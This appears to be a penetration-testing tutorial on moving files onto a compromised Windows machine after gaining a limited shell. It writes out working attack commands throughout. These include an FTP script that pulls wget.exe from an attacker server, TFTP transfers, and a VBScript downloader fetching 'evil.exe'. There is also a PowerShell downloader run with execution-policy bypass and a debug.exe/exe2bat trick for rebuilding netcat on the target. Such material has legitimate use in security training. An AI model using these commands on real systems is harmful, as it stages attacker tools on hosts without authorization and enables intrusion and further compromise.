Transferring Files to Windows
Transferring files to Linux is usually pretty easy. We can use
curl, which most systems have as default. But windows does not have these tools.
Most windows machines have a ftp-client included. But we can't use it interactively since that most likely would kill our shell. So we have get around that. We can however run commands from a file. So what we want to do is to echo out the commands into a textfile. And then use that as our input to the ftp-client. Let me demonstrate.
On the compromised machine we echo out the following commands into a file
echo open 192.168.1.101 21> ftp.txt echo USER asshat>> ftp.txt echo mysecretpassword>> ftp.txt echo bin>> ftp.txt echo GET wget.exe>> ftp.txt echo bye>> ftp.txt
Then run this command to connect to the ftp
ftp -v -n -s:ftp.txt
Of course you need to have a ftp-server configured with the user asshat and the password to mysecretpassword.
Works by default on:
A TFTP client is installed by default on windows machines up to Windows XP and Windows 2003. What is good about TFTP is that you can use it non-interactively. Which means less risk of losing your shell.
Kali has a TFTP server build in.
You can server up some files with it like this
atftpd --daemon --port 69 /tftp /etc/init.d/atftpd restart
Now you can put stuff in
/srv/tftp and it will be served. Remember that TFTP used UDP. So if you run
netstat it will not show it as listening.
You can see it running like this
netstat -a -p UDP | grep udp
So now you can upload and download whatever from the windows-machine like this
tftp -i 188.8.131.52 GET wget.exe
If you like to test that the tftp-server is working you can test it from Linux, I don't think it has a non-interactive way.
tftp 184.108.40.206 GET test.txt
I usually put all files I want to make available in
If you want to make sure that the file was uploaded correct you can check in the syslog. Grep for the IP like this:
grep 192.168.1.101 /var/log/syslog
Here is a good script to make a wget-clone in VB.
If it doesn't work try piping it through unix2dos before copying it.
echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs echo Err.Clear >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs echo http.Open "GET",strURL,False >> wget.vbs echo http.Send >> wget.vbs echo varByteArray = http.ResponseBody >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs echo strData = "" >> wget.vbs echo strBuffer = "" >> wget.vbs echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs echo Next >> wget.vbs echo ts.Close >> wget.vbs
You then execute the script like this:
cscript wget.vbs http://192.168.10.5/evil.exe evil.exe
This is how we can download a file using PowerShell. Remember since we only have a non-interactive shell we cannot start PowerShell.exe, because our shell can't handle that. But we can get around that by creaing a PowerShell-script and then executing the script:
echo $storageDir = $pwd > wget.ps1 echo $webclient = New-Object System.Net.WebClient >>wget.ps1 echo $url = "http://192.168.1.101/file.exe" >>wget.ps1 echo $file = "output-file.exe" >>wget.ps1 echo $webclient.DownloadFile($url,$file) >>wget.ps1
Now we invoke it with this crazy syntax:
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
This is a crazy technique that works on windows 32 bit machines. Basically the idea is to use the
debug.exe program. It is used to inspect binaries, like a debugger. But it can also rebuild them from hex. So the idea is that we take a binaries, like
netcat. And then disassemble it into hex, paste it into a file on the compromised machine, and then assemble it with
Debug.exe can only assemble 64 kb. So we need to use files smaller than that. We can use upx to compress it even more. So let's do that:
upx -9 nc.exe
Now it only weights 29 kb. Perfect. So now let's disassemble it:
wine exe2bat.exe nc.exe nc.txt
Now we just copy-past the text into our windows-shell. And it will automatically create a file called nc.exe